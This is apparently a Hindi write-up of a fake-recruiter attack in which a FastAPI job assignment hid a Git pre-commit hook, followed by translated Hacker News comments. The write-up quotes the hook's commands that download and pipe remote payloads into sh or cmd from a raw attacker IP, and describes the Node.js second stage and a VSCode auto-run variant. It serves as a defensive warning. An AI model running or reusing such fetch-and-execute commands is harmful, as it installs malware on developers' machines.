- LinkedIn पर हर महीने $10,000~15,000 की remote Python developer नौकरी का ऑफर देने वाले नकली recruiter ने एक ZIP फ़ाइल भेजी, जो सामान्य FastAPI असाइनमेंट के रूप में छिपी हुई थी, और Git workflow के दौरान malware इंस्टॉल होने के लिए सेट की गई थी
- repository की
.git/hooksमें एक pre-commit hook छिपा था, जो ऑपरेटिंग सिस्टम के अनुसार remote payload को चुपचाप चलाता था, और असाइनमेंट PDF में दिए गए Git task उम्मीदवार से इसे चलवाने का तरीका थे - Linux payload
~/Documentsमें second-stage script डाउनलोड करता है, उसेnohupसे चलाता है, फिर Node.js, dependencies और obfuscatedparser.jsइंस्टॉल करके background में चलाता है - request में
id=402मान बदलने पर अलग script लौटती थी, औरpackage.jsonमें clipboard access के लिएclipboardyऔर Ethereum development environmenthardhatजैसी चीज़ें शामिल थीं, लेकिन अंतिम मकसद की पुष्टि नहीं हो सकी - हमलावर ने सार्वजनिक FastAPI repository में सिर्फ malicious directory जोड़कर इस्तेमाल किया था, और दूसरे variant में VSCode में folder खोलते ही command चल जाती थी। बाहरी project को संभालने से पहले hidden directories और auto-run settings की जांच करनी चाहिए
जरूरत से ज़्यादा अच्छा job offer
- LinkedIn पर आया Python developer job offer हर महीने $10,000~15,000 देने वाला remote-first contract role था, जिसे बाद में full-time में बदला जाना था
- बातचीत शुरू होने से पहले ही इतनी ऊंची तनख्वाह बताई गई, और भारत के हिसाब से यह बहुत बड़ी रकम थी, जो पहला warning sign था
- hiring में इस्तेमाल की गई company एक Y Combinator startup निकली, लेकिन इतनी budget वाली कंपनी के पास आम तौर पर ज्यादा व्यवस्थित hiring process होना चाहिए, इसलिए संदेह बना रहा
- resume भेजते ही तुरंत approval मिल गया, और Google Drive के जरिए ZIP archive और असाइनमेंट निर्देशों वाला PDF मिला
- PDF में मौजूदा codebase सुधारने, architecture सुझाव देने और Git task करने को कहा गया था, इसलिए ऊपर से यह एक सामान्य evaluation document जैसा लग रहा था
FastAPI project में छिपा Git hook
- compressed file में SQLAlchemy इस्तेमाल करने वाला एक साधारण FastAPI backend था, और
requirements.txtमें भी typosquatting या साफ़ तौर पर malicious package नहीं मिला - hidden items देखने के लिए
tree -aचलाया गया तो.git/hooksके नीचे कई Git hooks पहले से configured मिले pre-commitscriptuname -sसे ऑपरेटिंग सिस्टम पहचानकर उसी server से platform-specific payload डाउनलोड और execute करती थी- macOS पर
curl .../task/mac?id=402 | shचलाया जाता था - Linux पर
wget .../task/linux?id=402 | shचलाया जाता था - Windows सिस्टम पर
curl .../task/windows?id=402 | cmdचलाया जाता था
- macOS पर
- सारा output
/dev/nullमें भेजा जाता था और process को background में चलाया जाता था, ताकि execution के निशान उपयोगकर्ता से छिपे रहें - domain की जगह सीधे
45.61.164.38:5777raw IP address इस्तेमाल किया गया था, जिससे malicious behavior और ज्यादा साफ़ दिख रहा था
Linux पर multi-stage payload
- पहला Linux script
~/Documentsमेंtokenlinux.nplडाउनलोड करता है, उसका नामtokenlinux.shरखता है और उसे execute permission देता है - इसके बाद
nohup bashसे script को background में चलाया जाता है, ताकि terminal बंद होने या logout के बाद भी process चलती रहे - second-stage script चुपचाप ये काम करती है
- Node.js इंस्टॉल करना और system path configure करना
parser.jsऔरpackage.jsonडाउनलोड करना- जरूरी npm dependencies इंस्टॉल करना
parser.jsकोnohup nodeसे चलाना और logs कोparser.logमें लिखना
parser.jsइतनी ज़्यादा obfuscated थी कि उसका manual analysis करना मुश्किल था, और मूल फ़ाइलparser.jsपर सुरक्षित रखी गई है
प्रति-पीड़ित पहचान की संभावना
- endpoint पर बार-बार
id=402parameter भेजा जा रहा था, और यह मान बदलने पर पूरी तरह अलग script लौट रही थी - संभव है कि हमलावर हर उम्मीदवार को एक unique identifier देकर customized payload दे रहा हो, लेकिन tracking का वास्तविक तरीका पुष्टि नहीं हो सका
- deobfuscation के लिए कई LLMs में code डाला गया, लेकिन नतीजे अलग-अलग रहे
- Claude ने safety restrictions के कारण analysis से इनकार कर दिया
- Gemini ने script analysis का परिणाम दिया
tokenlinux.nplनाम के मूल extension को खोजने पर पता चला कि यह एक बड़े attack campaign से जुड़ा हुआ था
संदिग्ध Node.js dependencies
package.jsonमें project nametokendappथा और उसमेंhardhat,axios,basic-ftp,clipboardy,jsonwebtoken,ps-node,requestआदि शामिल थे- background setup task में clipboard access के लिए
clipboardyऔर file-system से जुड़े package क्यों चाहिए, यह साफ़ नहीं था hardhatएक Ethereum development environment है, लेकिन Ethereum के proof-of-work से हटने के बाद इसे सामान्य mining setup मान लेना सही नहीं होगा- cryptocurrency wallet खोजने या local browser extensions के साथ interact करने की संभावना भी देखी गई, लेकिन अंतिम malicious उद्देश्य की पुष्टि नहीं हो सकी
VSCode इस्तेमाल करने वाला दूसरा variant
- इसी attack के दूसरे variant में ZIP फ़ाइल के अंदर
.vscodefolder छिपाया गया था, और directory को VSCode में खोलते ही command चलने के लिए सेट किया गया था - इस तरीके में Git command या project code को सीधे चलाने की भी ज़रूरत नहीं थी; सिर्फ folder खोलने से infection हो सकता था
- यह भी पुष्टि हुई कि कोई specific company सीधे attack में शामिल नहीं थी, बल्कि हमलावर ने मिली हुई company का नाम उधार लेकर job offer को वैध दिखाया
सार्वजनिक repository का दोबारा इस्तेमाल कर छलावा
git logमें साफ़ दिखा कि यह हमलावर का बनाया हुआ project नहीं था, बल्कि पुराने developers की commit history जस की तस मौजूद थी- मूल source सार्वजनिक repository
personal-finance-serviceथी - हमलावर ने सामान्य FastAPI project को clone किया और उसमें सिर्फ malicious hidden directories जोड़कर उसे असाइनमेंट codebase के रूप में छिपाया
- अगर कोई सिर्फ सामान्य code और साफ़
requirements.txtदेखे, तो malicious behavior छूट सकता था
attack server की जांच और सीमाएं
- Nmap से attack server scan करने पर 3 ports खुले मिले, जिनमें से 2 version detection का जवाब नहीं दे रहे थे
- port 22 पर Ubuntu का OpenSSH 9.6p1 चल रहा था
- scan के समय यह version जारी हुए लगभग एक हफ्ता ही हुआ था, इसलिए कोई उपयोगी ज्ञात CVE नहीं मिला और server के अंदर तक जांच बढ़ाना मुश्किल रहा
- malware distribution का तरीका भले ही नज़र आने लायक था, लेकिन server operation security अपेक्षाकृत ठीक-ठाक रखी गई थी, और यहीं ट्रैकिंग रुक गई
Git task की असली भूमिका
- असाइनमेंट PDF में दिया गया Git task उम्मीदवार से कम-से-कम एक बार Git command चलवाने का तरीका था, ताकि preinstalled hook trigger हो जाए
- नकली recruiter ने attack के पकड़ में आने की सूचना मिलने के तुरंत बाद अपना LinkedIn account शायद हटा दिया
- किसी अनजान project को चलाने या Git command देने से पहले
tree -aजैसे tools से.git,.vscodeजैसी hidden directories और auto-run settings की जांच करनी चाहिए
1 टिप्पणियां
Hacker News की राय
यह लेख पढ़ने के बाद ही समझ आया कि मुझे कहीं ज़्यादा परिष्कृत तरीके से हैक किया गया था
कुछ हफ्ते पहले एक वास्तविक कंपनी के CTO के साथ इंटरव्यू किया था। कैमरा बंद था और लहजा भी काफ़ी भारी था, लेकिन बातचीत स्वाभाविक लगी और वह तकनीक अच्छी तरह जानता हुआ लगा। टेक्निकल इंटरव्यू में कहा गया कि कंपनी के open source project में बदलाव करना है, इसलिए repository clone करके development environment चेक करने को कहा गया
बाद में HR ने कहा कि CTO की बीमारी के कारण इंटरव्यू टल गया, और कुछ दिनों बाद उस HR का LinkedIn profile भी हट गया। यह लेख देखने के बाद जाँच की तो पता चला कि इंटरव्यू के दौरान clone करके चलाए गए repository में malware payload था
शायद इसलिए निशाना बनाया गया क्योंकि मैं पहले 4.3 करोड़ से अधिक साप्ताहिक downloads वाले NPM package को maintain कर चुका था। सभी accounts पर 2FA लगा रखा था और NPM package भी बिना token के manually deploy करता था, फिर भी laptop को reset करके सब कुछ दोबारा install करना पड़ेगा
ऐसे मिलते-जुलते HN posts खोजे, लेकिन scammer के साथ Google Meet call तक होने वाला मामला नहीं मिला
अगर कंपनी गंभीर है तो वह इस पर विचार करेगी, और अगर मना करती है तो समझिए जोखिम टल गया। अब जब code generation में LLM का इतना व्यापक उपयोग हो रहा है, तो मुझे लगता है यह किसी भी tech stack में संभव होना चाहिए
हाल में developers को निशाना बनाने वाले North Korea से जुड़े हमले बढ़ते दिख रहे हैं। कई सालों से चल रही इन तरकीबों के अलावा, “आपका profile देखा, क्या साथ काम करना चाहेंगे?” जैसे emails भी North Korean hackers से हफ्ते में लगभग एक बार मिलते हैं
programming Discord communities में भी जुड़ने के कुछ ही दिनों के भीतर नौकरी या collaboration माँगने वाले accounts बहुत दिखते हैं। वे सचमुच job seekers भी हो सकते हैं, लेकिन messages की संख्या और समानता संदिग्ध है; और जब वे लगभग निष्क्रिय niche Python library communities तक पहुँच रहे हैं, तो लगता है वे Discord community lists scrape करके अंधाधुंध संपर्क कर रहे हैं
आपसी भरोसे का दुरुपयोग करने वाले हमले बढ़ गए हैं, इसलिए माता-पिता की पुरानी सीख — इंटरनेट पर अजनबियों पर भरोसा मत करो — फिर ज़रूरी हो गई है
पीड़ित का operating system पहचानने के बाद remote payload चुपके से चलाने की यह तरकीब बार-बार दिख रही है, और पिछले महीने भी ऐसा ही एक पोस्ट front page पर आया था
https://news.ycombinator.com/item?id=48546294
raw IP address malware जैसा प्रभाव ज़रूर देता है, लेकिन hook की contents तक देखने जितना गहराई से जाँचने वाला पीड़ित वहाँ शक करना बंद नहीं करेगा। ज़्यादातर developers शायद यह नहीं सोचते होंगे कि
git commitmalicious behavior चला सकता है, इसलिए जिज्ञासा है कि क्या यह Git की security weakness हैआखिर में बस यही रह गया कि तरह-तरह की safety guardrails के कारण Claude सहायक के रूप में बिल्कुल बेकार था
raw IP का इस्तेमाल शायद इसलिए किया गया हो कि domain registrar के पास पहचान संबंधी जानकारी न छोड़नी पड़े, या online footprint कम से कम रहे
ज़्यादातर screenshots सीधे नहीं खुल रहे थे, उन्हें नए tab में देखना पड़ा
यह scam काफ़ी चालाक है, इसलिए शायद बहुत से job seekers पहले ही फँस चुके होंगे, और लेख में दिखाया गया Visual Studio Code project तो और भी ख़तरनाक लगता है। अगर सिर्फ project खोलने भर से user code चल सकता है, तो यह साफ़ malware path है और इसके लिए security mitigation चाहिए
hiring sites की प्रतिक्रिया भी कमज़ोर है। अगर कोई कंपनी या संस्था से जुड़े होने का दावा करे, तो employment verification माँगनी चाहिए; और unverified accounts के messages पर सिर्फ बड़ा warning दिखा दिया जाए, तब भी बहुत-सी ठगी मुश्किल हो जाएगी। अभी तो कोई भी मनमानी कंपनी experience या educational background का दावा कर सकता है
Hacker News के front page पर असली hacking से जुड़ा पोस्ट देखना अच्छा लगा
http://www.catb.org/jargon/html/H/hacker.html
मतलब ऐसा व्यक्ति जो programmable systems की बारीक संरचना और सीमाओं को समझने-परखने में रुचि रखता हो, और खासकर computers और networks के अंदरूनी कामकाज को गहराई से समझने में आनंद लेता हो। साथ ही, यह ऐसे व्यक्ति के लिए भी कहा जाता है जो सिर्फ सिद्धांत तक सीमित न रहकर जोश के साथ, कभी-कभी ज़िद की हद तक, programming करता हो
अगर LinkedIn सच में fraud prevention को गंभीरता से लेता है, तो मौजूदा नौकरी दर्ज करते समय company email verification दे सकता है। अगर इसे अनिवार्य बनाना भारी लगे, तो कम-से-कम वैधता दिखाना चाहने वाले recruiters को वैकल्पिक verification की सुविधा दे सकता है
अब भी AI hiring market और LLM·automation की माँग को देखते हुए ऐसा ही कुछ चल रहा होगा
ऐसे हमले आगे और आम होते जाएँगे। हमलावरों ने बहुत गहराई से रिसर्च की थी और तरीका बेहद नीच था, लेकिन तकनीकी पूर्णता मानने लायक थी, और असली success rate भी काफ़ी ऊँची रही होगी